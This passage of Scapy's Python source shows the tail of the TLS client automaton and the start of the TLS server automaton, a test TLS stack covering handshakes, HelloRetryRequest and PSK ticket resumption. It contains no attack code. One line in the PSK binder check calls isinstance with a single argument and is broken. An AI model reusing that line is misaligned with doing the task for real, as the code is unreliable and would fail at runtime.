self.TLS13_WAITING_SERVERFLIGHT1() @ATMT.state() def TLS13_WAITING_SERVERFLIGHT1(self): self.get_next_msg() raise self.TLS13_RECEIVED_SERVERFLIGHT1() @ATMT.state() def TLS13_RECEIVED_SERVERFLIGHT1(self): pass @ATMT.condition(TLS13_RECEIVED_SERVERFLIGHT1, prio=1) def tls13_should_handle_ServerHello(self): """ XXX We should check the ServerHello attributes for discrepancies with our own ClientHello. """ self.raise_on_packet(TLS13ServerHello, self.TLS13_HANDLED_SERVERHELLO) @ATMT.condition(TLS13_RECEIVED_SERVERFLIGHT1, prio=2) def tls13_should_handle_HelloRetryRequest(self): """ XXX We should check the ServerHello attributes for discrepancies with our own ClientHello. """ self.raise_on_packet(TLS13HelloRetryRequest, self.TLS13_HELLO_RETRY_REQUESTED) @ATMT.condition(TLS13_RECEIVED_SERVERFLIGHT1, prio=3) def tls13_should_handle_AlertMessage_(self): self.raise_on_packet(TLSAlert, self.TLS13_HANDLED_ALERT_FROM_SERVERFLIGHT1) @ATMT.state() def TLS13_HANDLED_ALERT_FROM_SERVERFLIGHT1(self): self.vprint("Received Alert message !") self.vprint(self.cur_pkt.mysummary()) raise self.CLOSE_NOTIFY() @ATMT.condition(TLS13_RECEIVED_SERVERFLIGHT1, prio=4) def tls13_missing_ServerHello(self): raise self.MISSING_SERVERHELLO() @ATMT.state() def TLS13_HELLO_RETRY_REQUESTED(self): pass @ATMT.condition(TLS13_HELLO_RETRY_REQUESTED) def tls13_should_add_ClientHello_Retry(self): s = self.cur_session s.tls13_retry = True # we have to use the legacy, plaintext TLS record here self.add_record(is_tls13=False) # We retrieve the group to be used and the selected version from the # previous message hrr = s.handshake_messages_parsed[-1] if isinstance(hrr, TLS13HelloRetryRequest): pass ciphersuite = hrr.cipher if hrr.ext: for e in hrr.ext: if isinstance(e, TLS_Ext_KeyShare_HRR): selected_group = e.selected_group if isinstance(e, TLS_Ext_SupportedVersion_SH): selected_version = e.version if not selected_group or not selected_version: raise self.CLOSE_NOTIFY() ext = [] ext += TLS_Ext_SupportedVersion_CH(versions=[_tls_version[selected_version]]) # noqa: E501 if s.tls13_psk_secret: if self.tls13_psk_mode == "psk_dhe_ke": ext += TLS_Ext_PSKKeyExchangeModes(kxmodes="psk_dhe_ke"), ext += TLS_Ext_SupportedGroups(groups=[_tls_named_groups[selected_group]]) # noqa: E501 ext += TLS_Ext_KeyShare_CH(client_shares=[KeyShareEntry(group=selected_group)]) # noqa: E501 else: ext += TLS_Ext_PSKKeyExchangeModes(kxmodes="psk_ke") if s.client_session_ticket: # XXX Retrieve parameters from first ClientHello... cs_cls = _tls_cipher_suites_cls[s.tls13_ticket_ciphersuite] hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower()) hash_len = hkdf.hash.digest_size # We compute the client's view of the age of the ticket (ie # the time since the receipt of the ticket) in ms agems = int((time.time() - s.client_ticket_age) * 1000) # Then we compute the obfuscated version of the ticket age by # adding the "ticket_age_add" value included in the ticket # (modulo 2^32) obfuscated_age = ((agems + s.client_session_ticket_age_add) & 0xffffffff) psk_id = PSKIdentity(identity=s.client_session_ticket, obfuscated_ticket_age=obfuscated_age) psk_binder_entry = PSKBinderEntry(binder_len=hash_len, binder=b"\x00" * hash_len) ext += TLS_Ext_PreSharedKey_CH(identities=[psk_id], binders=[psk_binder_entry]) else: hkdf = TLS13_HKDF("sha256") hash_len = hkdf.hash.digest_size psk_id = PSKIdentity(identity='Client_identity') psk_binder_entry = PSKBinderEntry(binder_len=hash_len, binder=b"\x00" * hash_len) ext += TLS_Ext_PreSharedKey_CH(identities=[psk_id], binders=[psk_binder_entry]) else: ext += TLS_Ext_SupportedGroups(groups=[_tls_named_groups[selected_group]]) # noqa: E501 ext += TLS_Ext_KeyShare_CH(client_shares=[KeyShareEntry(group=selected_group)]) # noqa: E501 ext += TLS_Ext_SignatureAlgorithms(sig_algs=["sha256+rsaepss"]) p = TLS13ClientHello(ciphers=ciphersuite, ext=ext) self.add_msg(p) raise self.TLS13_ADDED_CLIENTHELLO() @ATMT.state() def TLS13_HANDLED_SERVERHELLO(self): pass @ATMT.condition(TLS13_HANDLED_SERVERHELLO, prio=1) def tls13_should_handle_encrytpedExtensions(self): self.raise_on_packet(TLSEncryptedExtensions, self.TLS13_HANDLED_ENCRYPTEDEXTENSIONS) @ATMT.condition(TLS13_HANDLED_SERVERHELLO, prio=2) def tls13_should_handle_ChangeCipherSpec(self): self.raise_on_packet(TLSChangeCipherSpec, self.TLS13_HANDLED_CHANGE_CIPHER_SPEC) @ATMT.state() def TLS13_HANDLED_CHANGE_CIPHER_SPEC(self): self.cur_session.middlebox_compatibility = True raise self.TLS13_HANDLED_SERVERHELLO() @ATMT.condition(TLS13_HANDLED_SERVERHELLO, prio=3) def tls13_missing_encryptedExtension(self): self.vprint("Missing TLS 1.3 EncryptedExtensions message!") raise self.CLOSE_NOTIFY() @ATMT.state() def TLS13_HANDLED_ENCRYPTEDEXTENSIONS(self): pass @ATMT.condition(TLS13_HANDLED_ENCRYPTEDEXTENSIONS, prio=1) def tls13_should_handle_certificateRequest_from_encryptedExtensions(self): """ XXX We should check the CertificateRequest attributes for discrepancies with the cipher suite, etc. """ self.raise_on_packet(TLS13CertificateRequest, self.TLS13_HANDLED_CERTIFICATEREQUEST) @ATMT.condition(TLS13_HANDLED_ENCRYPTEDEXTENSIONS, prio=2) def tls13_should_handle_certificate_from_encryptedExtensions(self): self.tls13_should_handle_Certificate() @ATMT.condition(TLS13_HANDLED_ENCRYPTEDEXTENSIONS, prio=3) def tls13_should_handle_finished_from_encryptedExtensions(self): if self.cur_session.tls13_psk_secret: self.raise_on_packet(TLSFinished, self.TLS13_HANDLED_FINISHED) @ATMT.state() def TLS13_HANDLED_CERTIFICATEREQUEST(self): pass @ATMT.condition(TLS13_HANDLED_CERTIFICATEREQUEST, prio=1) def tls13_should_handle_Certificate_from_CertificateRequest(self): return self.tls13_should_handle_Certificate() def tls13_should_handle_Certificate(self): self.raise_on_packet(TLS13Certificate, self.TLS13_HANDLED_CERTIFICATE) @ATMT.state() def TLS13_HANDLED_CERTIFICATE(self): pass @ATMT.condition(TLS13_HANDLED_CERTIFICATE, prio=1) def tls13_should_handle_CertificateVerify(self): self.raise_on_packet(TLSCertificateVerify, self.TLS13_HANDLED_CERTIFICATE_VERIFY) @ATMT.condition(TLS13_HANDLED_CERTIFICATE, prio=2) def tls13_missing_CertificateVerify(self): self.vprint("Missing TLS 1.3 CertificateVerify message!") raise self.CLOSE_NOTIFY() @ATMT.state() def TLS13_HANDLED_CERTIFICATE_VERIFY(self): pass @ATMT.condition(TLS13_HANDLED_CERTIFICATE_VERIFY, prio=1) def tls13_should_handle_finished(self): self.raise_on_packet(TLSFinished, self.TLS13_HANDLED_FINISHED) @ATMT.state() def TLS13_HANDLED_FINISHED(self): raise self.TLS13_PREPARE_CLIENTFLIGHT2() @ATMT.state() def TLS13_PREPARE_CLIENTFLIGHT2(self): if self.cur_session.middlebox_compatibility: self.add_record(is_tls12=True) self.add_msg(TLSChangeCipherSpec()) self.add_record(is_tls13=True) @ATMT.condition(TLS13_PREPARE_CLIENTFLIGHT2, prio=1) def tls13_should_add_ClientCertificate(self): """ If the server sent a CertificateRequest, we send a Certificate message. If no certificate is available, an empty Certificate message is sent: - this is a SHOULD in RFC 4346 (Section 7.4.6) - this is a MUST in RFC 5246 (Section 7.4.6) XXX We may want to add a complete chain. """ hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed] if TLS13CertificateRequest not in hs_msg: raise self.TLS13_ADDED_CLIENTCERTIFICATE() # return certs = [] if self.mycert: certs += _ASN1CertAndExt(cert=self.mycert) self.add_msg(TLS13Certificate(certs=certs)) raise self.TLS13_ADDED_CLIENTCERTIFICATE() @ATMT.state() def TLS13_ADDED_CLIENTCERTIFICATE(self): pass @ATMT.condition(TLS13_ADDED_CLIENTCERTIFICATE, prio=1) def tls13_should_add_ClientCertificateVerify(self): """ XXX Section 7.4.7.1 of RFC 5246 states that the CertificateVerify message is only sent following a client certificate that has signing capability (i.e. not those containing fixed DH params). We should verify that before adding the message. We should also handle the case when the Certificate message was empty. """ hs_msg = [type(m) for m in self.cur_session.handshake_messages_parsed] if (TLS13CertificateRequest not in hs_msg or self.mycert is None or self.mykey is None): return self.tls13_should_add_ClientFinished() self.add_msg(TLSCertificateVerify()) raise self.TLS13_ADDED_CERTIFICATEVERIFY() @ATMT.state() def TLS13_ADDED_CERTIFICATEVERIFY(self): return self.tls13_should_add_ClientFinished() @ATMT.condition(TLS13_PREPARE_CLIENTFLIGHT2, prio=2) def tls13_should_add_ClientFinished(self): self.add_msg(TLSFinished()) raise self.TLS13_ADDED_CLIENTFINISHED() @ATMT.state() def TLS13_ADDED_CLIENTFINISHED(self): pass @ATMT.condition(TLS13_ADDED_CLIENTFINISHED) def tls13_should_send_ClientFlight2(self): self.flush_records() raise self.TLS13_SENT_CLIENTFLIGHT2() @ATMT.state() def TLS13_SENT_CLIENTFLIGHT2(self): self.vprint("TLS 1.3 handshake completed!") self.vprint_sessioninfo() self.vprint("You may send data or use 'quit'.") raise self.WAIT_CLIENTDATA() @ATMT.state() def SOCKET_CLOSED(self): raise self.FINAL() @ATMT.state(final=True) def FINAL(self): # We might call shutdown, but it may happen that the server # did not wait for us to shutdown after answering our data query. # self.socket.shutdown(1) self.vprint("Closing client socket...") self.socket.close() self.vprint("Ending TLS client automaton.") scapy-2.4.4/scapy/layers/tls/automaton_srv.py000066400000000000000000001477021372370053500213530ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # 2019 Romain Perez # This program is published under a GPLv2 license """ TLS server automaton. This makes for a primitive TLS stack. Obviously you need rights for network access. We support versions SSLv2 to TLS 1.3, along with many features. In order to run a server listening on tcp/4433: > from scapy.all import * > t = TLSServerAutomaton(mycert='', mykey='') > t.run() """ from __future__ import print_function import socket import binascii import struct import time from scapy.config import conf from scapy.packet import Raw from scapy.pton_ntop import inet_pton from scapy.utils import get_temp_file, randstring, repr_hex from scapy.automaton import ATMT from scapy.error import warning from scapy.layers.tls.automaton import _TLSAutomaton from scapy.layers.tls.cert import PrivKeyRSA, PrivKeyECDSA from scapy.layers.tls.basefields import _tls_version from scapy.layers.tls.session import tlsSession from scapy.layers.tls.crypto.groups import _tls_named_groups from scapy.layers.tls.extensions import TLS_Ext_SupportedVersion_SH, \ TLS_Ext_SupportedGroups, TLS_Ext_Cookie, \ TLS_Ext_SignatureAlgorithms, TLS_Ext_PSKKeyExchangeModes, \ TLS_Ext_EarlyDataIndicationTicket from scapy.layers.tls.keyexchange_tls13 import TLS_Ext_KeyShare_SH, \ KeyShareEntry, TLS_Ext_KeyShare_HRR, TLS_Ext_PreSharedKey_CH, \ TLS_Ext_PreSharedKey_SH from scapy.layers.tls.handshake import TLSCertificate, TLSCertificateRequest, \ TLSCertificateVerify, TLSClientHello, TLSClientKeyExchange, TLSFinished, \ TLSServerHello, TLSServerHelloDone, TLSServerKeyExchange, \ _ASN1CertAndExt, TLS13ServerHello, TLS13Certificate, TLS13ClientHello, \ TLSEncryptedExtensions, TLS13HelloRetryRequest, TLS13CertificateRequest, \ TLS13KeyUpdate, TLS13NewSessionTicket from scapy.layers.tls.handshake_sslv2 import SSLv2ClientCertificate, \ SSLv2ClientFinished, SSLv2ClientHello, SSLv2ClientMasterKey, \ SSLv2RequestCertificate, SSLv2ServerFinished, SSLv2ServerHello, \ SSLv2ServerVerify from scapy.layers.tls.record import TLSAlert, TLSChangeCipherSpec, \ TLSApplicationData from scapy.layers.tls.record_tls13 import TLS13 from scapy.layers.tls.crypto.hkdf import TLS13_HKDF from scapy.layers.tls.crypto.suites import _tls_cipher_suites_cls, \ get_usable_ciphersuites if conf.crypto_valid: from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import hashes class TLSServerAutomaton(_TLSAutomaton): """ A simple TLS test server automaton. Try to overload some states or conditions and see what happens on the other side. Because of socket and automaton limitations, for now, the best way to interrupt the server is by sending him 'stop_server'. Interruptions with Ctrl-Z should work, but this might leave a loose listening socket behind. In case the server receives a TLSAlert (whatever its type), or a 'goodbye' message in a SSLv2 version, he will close the client session with a similar message, and start waiting for new client connections. _'mycert' and 'mykey' may be provided as filenames. They are needed for any server authenticated handshake. _'preferred_ciphersuite' allows the automaton to choose a cipher suite when offered in the ClientHello. If absent, another one will be chosen. _'client_auth' means the client has to provide a certificate. _'is_echo_server' means that everything received will be sent back. _'max_client_idle_time' is the maximum silence duration from the client. Once this limit has been reached, the client (if still here) is dropped, and we wait for a new connection. """ def parse_args(self, server="127.0.0.1", sport=4433, mycert=None, mykey=None, preferred_ciphersuite=None, client_auth=False, is_echo_server=True, max_client_idle_time=60, handle_session_ticket=None, session_ticket_file=None, curve=None, cookie=False, psk=None, psk_mode=None, **kargs): super(TLSServerAutomaton, self).parse_args(mycert=mycert, mykey=mykey, **kargs) try: if ':' in server: inet_pton(socket.AF_INET6, server) else: inet_pton(socket.AF_INET, server) tmp = socket.getaddrinfo(server, sport) except Exception: tmp = socket.getaddrinfo(socket.getfqdn(server), sport) self.serversocket = None self.ip_family = tmp[0][0] self.local_ip = tmp[0][4][0] self.local_port = sport self.remote_ip = None self.remote_port = None self.preferred_ciphersuite = preferred_ciphersuite self.client_auth = client_auth self.is_echo_server = is_echo_server self.max_client_idle_time = max_client_idle_time self.curve = None self.cookie = cookie self.psk_secret = psk self.psk_mode = psk_mode if handle_session_ticket is None: handle_session_ticket = session_ticket_file is not None if handle_session_ticket: session_ticket_file = session_ticket_file or get_temp_file() self.handle_session_ticket = handle_session_ticket self.session_ticket_file = session_ticket_file for (group_id, ng) in _tls_named_groups.items(): if ng == curve: self.curve = group_id def vprint_sessioninfo(self): if self.verbose: s = self.cur_session v = _tls_version[s.tls_version] self.vprint("Version : %s" % v) cs = s.wcs.ciphersuite.name self.vprint("Cipher suite : %s" % cs) if s.tls_version < 0x0304: ms = s.master_secret else: ms = s.tls13_master_secret self.vprint("Master secret : %s" % repr_hex(ms)) if s.client_certs: self.vprint("Client certificate chain: %r" % s.client_certs) if s.tls_version >= 0x0304: res_secret = s.tls13_derived_secrets["resumption_secret"] self.vprint("Resumption master secret : %s" % repr_hex(res_secret)) self.vprint() def http_sessioninfo(self): header = "HTTP/1.1 200 OK\r\n" header += "Server: Scapy TLS Extension\r\n" header += "Content-type: text/html\r\n" header += "Content-length: %d\r\n\r\n" s = "----- Scapy TLS Server Automaton -----\n\n" s += "Information on current TLS session:\n\n" s += "Local end : %s:%d\n" % (self.local_ip, self.local_port) s += "Remote end : %s:%d\n" % (self.remote_ip, self.remote_port) v = _tls_version[self.cur_session.tls_version] s += "Version : %s\n" % v cs = self.cur_session.wcs.ciphersuite.name s += "Cipher suite : %s\n" % cs if self.cur_session.tls_version < 0x0304: ms = self.cur_session.master_secret else: ms = self.cur_session.tls13_master_secret s += "Master secret : %s\n" % repr_hex(ms) body = "
%s
\r\n\r\n" % s answer = (header + body) % len(body) return answer @ATMT.state(initial=True) def INITIAL(self): self.vprint("Starting TLS server automaton.") self.vprint("Receiving 'stop_server' will cause a graceful exit.") self.vprint("Interrupting with Ctrl-Z might leave a loose socket hanging.") # noqa: E501 raise self.BIND() @ATMT.state() def BIND(self): s = socket.socket(self.ip_family, socket.SOCK_STREAM) self.serversocket = s s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: s.bind((self.local_ip, self.local_port)) s.listen(1) except Exception as e: m = "Unable to bind on %s:%d! (%s)" % ( self.local_ip, self.local_port, e ) self.vprint() self.vprint(m) self.vprint("Maybe some server is already listening there?") self.vprint() raise self.FINAL() raise self.WAITING_CLIENT() @ATMT.state() def SOCKET_CLOSED(self): raise self.WAITING_CLIENT() @ATMT.state() def WAITING_CLIENT(self): self.buffer_out = [] self.buffer_in = [] self.vprint() self.vprint("Waiting for a new client on %s:%d" % (self.local_ip, self.local_port)) self.socket, addr = self.serversocket.accept() if not isinstance(addr, tuple): addr = self.socket.getpeername() if len(addr) > 2: addr = (addr[0], addr[1]) self.remote_ip, self.remote_port = addr self.vprint("Accepted connection from %s:%d" % (self.remote_ip, self.remote_port)) self.vprint() raise self.INIT_TLS_SESSION() @ATMT.state() def INIT_TLS_SESSION(self): """ XXX We should offer the right key according to the client's suites. For now server_rsa_key is only used for RSAkx, but we should try to replace every server_key with both server_rsa_key and server_ecdsa_key. """ self.cur_session = tlsSession(connection_end="server") self.cur_session.server_certs = [self.mycert] self.cur_session.server_key = self.mykey if isinstance(self.mykey, PrivKeyRSA): self.cur_session.server_rsa_key = self.mykey # elif isinstance(self.mykey, PrivKeyECDSA): # self.cur_session.server_ecdsa_key = self.mykey raise self.WAITING_CLIENTFLIGHT1() @ATMT.state() def WAITING_CLIENTFLIGHT1(self): self.get_next_msg() raise self.RECEIVED_CLIENTFLIGHT1() @ATMT.state() def RECEIVED_CLIENTFLIGHT1(self): pass # TLS handshake # @ATMT.condition(RECEIVED_CLIENTFLIGHT1, prio=1) def tls13_should_handle_ClientHello(self): self.raise_on_packet(TLS13ClientHello, self.tls13_HANDLED_CLIENTHELLO) @ATMT.condition(RECEIVED_CLIENTFLIGHT1, prio=2) def should_handle_ClientHello(self): self.raise_on_packet(TLSClientHello, self.HANDLED_CLIENTHELLO) @ATMT.state() def HANDLED_CLIENTHELLO(self): """ We extract cipher suites candidates from the client's proposition. """ if isinstance(self.mykey, PrivKeyRSA): kx = "RSA" elif isinstance(self.mykey, PrivKeyECDSA): kx = "ECDSA" if get_usable_ciphersuites(self.cur_pkt.ciphers, kx): raise self.PREPARE_SERVERFLIGHT1() raise self.NO_USABLE_CIPHERSUITE() @ATMT.state() def NO_USABLE_CIPHERSUITE(self): self.vprint("No usable cipher suite!") raise self.CLOSE_NOTIFY() @ATMT.condition(RECEIVED_CLIENTFLIGHT1, prio=3) def missing_ClientHello(self): raise self.MISSING_CLIENTHELLO() @ATMT.state(final=True) def MISSING_CLIENTHELLO(self): self.vprint("Missing ClientHello message!") raise self.CLOSE_NOTIFY() @ATMT.state() def PREPARE_SERVERFLIGHT1(self): self.add_record() @ATMT.condition(PREPARE_SERVERFLIGHT1) def should_add_ServerHello(self): """ Selecting a cipher suite should be no trouble as we already caught the None case previously. Also, we do not manage extensions at all. """ if isinstance(self.mykey, PrivKeyRSA): kx = "RSA" elif isinstance(self.mykey, PrivKeyECDSA): kx = "ECDSA" usable_suites = get_usable_ciphersuites(self.cur_pkt.ciphers, kx) c = usable_suites[0] if self.preferred_ciphersuite in usable_suites: c = self.preferred_ciphersuite self.add_msg(TLSServerHello(cipher=c)) raise self.ADDED_SERVERHELLO() @ATMT.state() def ADDED_SERVERHELLO(self): pass @ATMT.condition(ADDED_SERVERHELLO) def should_add_Certificate(self): c = self.buffer_out[-1].msg[0].cipher if not _tls_cipher_suites_cls[c].kx_alg.anonymous: self.add_msg(TLSCertificate(certs=self.cur_session.server_certs)) raise self.ADDED_CERTIFICATE() @ATMT.state() def ADDED_CERTIFICATE(self): pass @ATMT.condition(ADDED_CERTIFICATE) def should_add_ServerKeyExchange(self): c = self.buffer_out[-1].msg[0].cipher if not _tls_cipher_suites_cls[c].kx_alg.no_ske: self.add_msg(TLSServerKeyExchange()) raise self.ADDED_SERVERKEYEXCHANGE() @ATMT.state() def ADDED_SERVERKEYEXCHANGE(self): pass @ATMT.condition(ADDED_SERVERKEYEXCHANGE) def should_add_CertificateRequest(self): if self.client_auth: self.add_msg(TLSCertificateRequest()) raise self.ADDED_CERTIFICATEREQUEST() @ATMT.state() def ADDED_CERTIFICATEREQUEST(self): pass @ATMT.condition(ADDED_CERTIFICATEREQUEST) def should_add_ServerHelloDone(self): self.add_msg(TLSServerHelloDone()) raise self.ADDED_SERVERHELLODONE() @ATMT.state() def ADDED_SERVERHELLODONE(self): pass @ATMT.condition(ADDED_SERVERHELLODONE) def should_send_ServerFlight1(self): self.flush_records() raise self.WAITING_CLIENTFLIGHT2() @ATMT.state() def WAITING_CLIENTFLIGHT2(self): self.get_next_msg() raise self.RECEIVED_CLIENTFLIGHT2() @ATMT.state() def RECEIVED_CLIENTFLIGHT2(self): pass @ATMT.condition(RECEIVED_CLIENTFLIGHT2, prio=1) def should_handle_ClientCertificate(self): self.raise_on_packet(TLSCertificate, self.HANDLED_CLIENTCERTIFICATE) @ATMT.condition(RECEIVED_CLIENTFLIGHT2, prio=2) def no_ClientCertificate(self): if self.client_auth: raise self.MISSING_CLIENTCERTIFICATE() raise self.HANDLED_CLIENTCERTIFICATE() @ATMT.state() def MISSING_CLIENTCERTIFICATE(self): self.vprint("Missing ClientCertificate!") raise self.CLOSE_NOTIFY() @ATMT.state() def HANDLED_CLIENTCERTIFICATE(self): if self.client_auth: self.vprint("Received client certificate chain...") @ATMT.condition(HANDLED_CLIENTCERTIFICATE, prio=1) def should_handle_ClientKeyExchange(self): self.raise_on_packet(TLSClientKeyExchange, self.HANDLED_CLIENTKEYEXCHANGE) @ATMT.state() def HANDLED_CLIENTKEYEXCHANGE(self): pass @ATMT.condition(HANDLED_CLIENTCERTIFICATE, prio=2) def should_handle_Alert_from_ClientCertificate(self): self.raise_on_packet(TLSAlert, self.HANDLED_ALERT_FROM_CLIENTCERTIFICATE) @ATMT.state() def HANDLED_ALERT_FROM_CLIENTCERTIFICATE(self): self.vprint("Received Alert message instead of ClientKeyExchange!") self.vprint(self.cur_pkt.mysummary()) raise self.CLOSE_NOTIFY() @ATMT.condition(HANDLED_CLIENTCERTIFICATE, prio=3) def missing_ClientKeyExchange(self): raise self.MISSING_CLIENTKEYEXCHANGE() @ATMT.state() def MISSING_CLIENTKEYEXCHANGE(self): self.vprint("Missing ClientKeyExchange!") raise self.CLOSE_NOTIFY() @ATMT.condition(HANDLED_CLIENTKEYEXCHANGE, prio=1) def should_handle_CertificateVerify(self): self.raise_on_packet(TLSCertificateVerify, self.HANDLED_CERTIFICATEVERIFY) @ATMT.condition(HANDLED_CLIENTKEYEXCHANGE, prio=2) def no_CertificateVerify(self): if self.client_auth: raise self.MISSING_CERTIFICATEVERIFY() raise self.HANDLED_CERTIFICATEVERIFY() @ATMT.state() def MISSING_CERTIFICATEVERIFY(self): self.vprint("Missing CertificateVerify!") raise self.CLOSE_NOTIFY() @ATMT.state() def HANDLED_CERTIFICATEVERIFY(self): pass @ATMT.condition(HANDLED_CERTIFICATEVERIFY, prio=1) def should_handle_ChangeCipherSpec(self): self.raise_on_packet(TLSChangeCipherSpec, self.HANDLED_CHANGECIPHERSPEC) @ATMT.state() def HANDLED_CHANGECIPHERSPEC(self): pass @ATMT.condition(HANDLED_CERTIFICATEVERIFY, prio=2) def should_handle_Alert_from_ClientKeyExchange(self): self.raise_on_packet(TLSAlert, self.HANDLED_ALERT_FROM_CLIENTKEYEXCHANGE) @ATMT.state() def HANDLED_ALERT_FROM_CLIENTKEYEXCHANGE(self): self.vprint("Received Alert message instead of ChangeCipherSpec!") self.vprint(self.cur_pkt.mysummary()) raise self.CLOSE_NOTIFY() @ATMT.condition(HANDLED_CERTIFICATEVERIFY, prio=3) def missing_ChangeCipherSpec(self): raise self.MISSING_CHANGECIPHERSPEC() @ATMT.state() def MISSING_CHANGECIPHERSPEC(self): self.vprint("Missing ChangeCipherSpec!") raise self.CLOSE_NOTIFY() @ATMT.condition(HANDLED_CHANGECIPHERSPEC, prio=1) def should_handle_ClientFinished(self): self.raise_on_packet(TLSFinished, self.HANDLED_CLIENTFINISHED) @ATMT.state() def HANDLED_CLIENTFINISHED(self): raise self.PREPARE_SERVERFLIGHT2() @ATMT.condition(HANDLED_CHANGECIPHERSPEC, prio=2) def should_handle_Alert_from_ClientFinished(self): self.raise_on_packet(TLSAlert, self.HANDLED_ALERT_FROM_CHANGECIPHERSPEC) @ATMT.state() def HANDLED_ALERT_FROM_CHANGECIPHERSPEC(self): self.vprint("Received Alert message instead of Finished!") raise self.CLOSE_NOTIFY() @ATMT.condition(HANDLED_CHANGECIPHERSPEC, prio=3) def missing_ClientFinished(self): raise self.MISSING_CLIENTFINISHED() @ATMT.state() def MISSING_CLIENTFINISHED(self): self.vprint("Missing Finished!") raise self.CLOSE_NOTIFY() @ATMT.state() def PREPARE_SERVERFLIGHT2(self): self.add_record() @ATMT.condition(PREPARE_SERVERFLIGHT2) def should_add_ChangeCipherSpec(self): self.add_msg(TLSChangeCipherSpec()) raise self.ADDED_CHANGECIPHERSPEC() @ATMT.state() def ADDED_CHANGECIPHERSPEC(self): pass @ATMT.condition(ADDED_CHANGECIPHERSPEC) def should_add_ServerFinished(self): self.add_record() self.add_msg(TLSFinished()) raise self.ADDED_SERVERFINISHED() @ATMT.state() def ADDED_SERVERFINISHED(self): pass @ATMT.condition(ADDED_SERVERFINISHED) def should_send_ServerFlight2(self): self.flush_records() raise self.SENT_SERVERFLIGHT2() @ATMT.state() def SENT_SERVERFLIGHT2(self): self.vprint("TLS handshake completed!") self.vprint_sessioninfo() if self.is_echo_server: self.vprint("Will now act as a simple echo server.") raise self.WAITING_CLIENTDATA() # end of TLS handshake # # TLS 1.3 handshake # @ATMT.state() def tls13_HANDLED_CLIENTHELLO(self): """ Check if we have to send an HelloRetryRequest XXX check also with non ECC groups """ s = self.cur_session m = s.handshake_messages_parsed[-1] # Check if we have to send an HelloRetryRequest # XXX check also with non ECC groups if self.curve: # We first look for a KeyShareEntry with same group as self.curve if not _tls_named_groups[self.curve] in s.tls13_client_pubshares: # We then check if self.curve was advertised in SupportedGroups # extension for e in m.ext: if isinstance(e, TLS_Ext_SupportedGroups): if self.curve in e.groups: # Here, we need to send an HelloRetryRequest raise self.tls13_PREPARE_HELLORETRYREQUEST() raise self.tls13_PREPARE_SERVERFLIGHT1() @ATMT.state() def tls13_PREPARE_HELLORETRYREQUEST(self): pass @ATMT.condition(tls13_PREPARE_HELLORETRYREQUEST) def tls13_should_add_HelloRetryRequest(self): self.add_record(is_tls13=False) if isinstance(self.mykey, PrivKeyRSA): kx = "RSA" elif isinstance(self.mykey, PrivKeyECDSA): kx = "ECDSA" usable_suites = get_usable_ciphersuites(self.cur_pkt.ciphers, kx) c = usable_suites[0] ext = [TLS_Ext_SupportedVersion_SH(version="TLS 1.3"), TLS_Ext_KeyShare_HRR(selected_group=_tls_named_groups[self.curve])] # noqa: E501 if self.cookie: ext += TLS_Ext_Cookie() p = TLS13HelloRetryRequest(cipher=c, ext=ext) self.add_msg(p) self.flush_records() raise self.tls13_HANDLED_HELLORETRYREQUEST() @ATMT.state() def tls13_HANDLED_HELLORETRYREQUEST(self): pass @ATMT.condition(tls13_HANDLED_HELLORETRYREQUEST) def tls13_should_add_ServerHello_from_HRR(self): raise self.WAITING_CLIENTFLIGHT1() @ATMT.state() def tls13_PREPARE_SERVERFLIGHT1(self): self.add_record(is_tls13=False) def verify_psk_binder(self, psk_identity, obfuscated_age, binder): """ This function verifies the binder received in the 'pre_shared_key' extension and return the resumption PSK associated with those values. The arguments psk_identity, obfuscated_age and binder are taken from 'pre_shared_key' in the ClientHello. """ with open(self.session_ticket_file, "rb") as f: for line in f: s = line.strip().split(b';') if len(s) < 8: continue ticket_label = binascii.unhexlify(s[0]) ticket_nonce = binascii.unhexlify(s[1]) tmp = binascii.unhexlify(s[2]) ticket_lifetime = struct.unpack("!I", tmp)[0] tmp = binascii.unhexlify(s[3]) ticket_age_add = struct.unpack("!I", tmp)[0] tmp = binascii.unhexlify(s[4]) ticket_start_time = struct.unpack("!I", tmp)[0] resumption_secret = binascii.unhexlify(s[5]) tmp = binascii.unhexlify(s[6]) res_ciphersuite = struct.unpack("!H", tmp)[0] tmp = binascii.unhexlify(s[7]) max_early_data_size = struct.unpack("!I", tmp)[0] # Here psk_identity is a Ticket type but ticket_label is bytes, # we need to convert psk_identiy to bytes in order to compare # both strings if psk_identity.__bytes__() == ticket_label: # We compute the resumed PSK associated the resumption # secret self.vprint("Ticket found in database !") if res_ciphersuite not in _tls_cipher_suites_cls: warning("Unknown cipher suite %d" % res_ciphersuite) # we do not try to set a default nor stop the execution else: cs_cls = _tls_cipher_suites_cls[res_ciphersuite] hkdf = TLS13_HKDF(cs_cls.hash_alg.name.lower()) hash_len = hkdf.hash.digest_size tls13_psk_secret = hkdf.expand_label(resumption_secret, b"resumption", ticket_nonce, hash_len) # We verify that ticket age is not expired agesec = int((time.time() - ticket_start_time)) # agems = agesec * 1000 ticket_age = (obfuscated_age - ticket_age_add) % 0xffffffff # noqa: F841, E501 # We verify the PSK binder s = self.cur_session if s.tls13_retry: handshake_context = struct.pack("B", 254) handshake_context += struct.pack("B", 0) handshake_context += struct.pack("B", 0) handshake_context += struct.pack("B", hash_len) digest = hashes.Hash(hkdf.hash, backend=default_backend()) # noqa: E501 digest.update(s.handshake_messages[0]) handshake_context += digest.finalize() for m in s.handshake_messages[1:]: if (isinstance(TLS13ClientHello) or isinstance(TLSClientHello)): handshake_context += m[:-hash_len - 3] else: handshake_context += m else: handshake_context = s.handshake_messages[0][:-hash_len - 3] # noqa: E501 # We compute the binder key # XXX use the compute_tls13_early_secrets() function tls13_early_secret = hkdf.extract(None, tls13_psk_secret) binder_key = hkdf.derive_secret(tls13_early_secret, b"res binder", b"") computed_binder = hkdf.compute_verify_data(binder_key, handshake_context) # noqa: E501 if (agesec < ticket_lifetime and computed_binder == binder): self.vprint("Ticket has been accepted ! ") self.max_early_data_size = max_early_data_size self.resumed_ciphersuite = res_ciphersuite return tls13_psk_secret self.vprint("Ticket has not been accepted ! Fallback to a complete handshake") # noqa: E501 return None @ATMT.condition(tls13_PREPARE_SERVERFLIGHT1) def tls13_should_add_ServerHello(self): psk_identity = None psk_key_exchange_mode = None obfuscated_age = None # 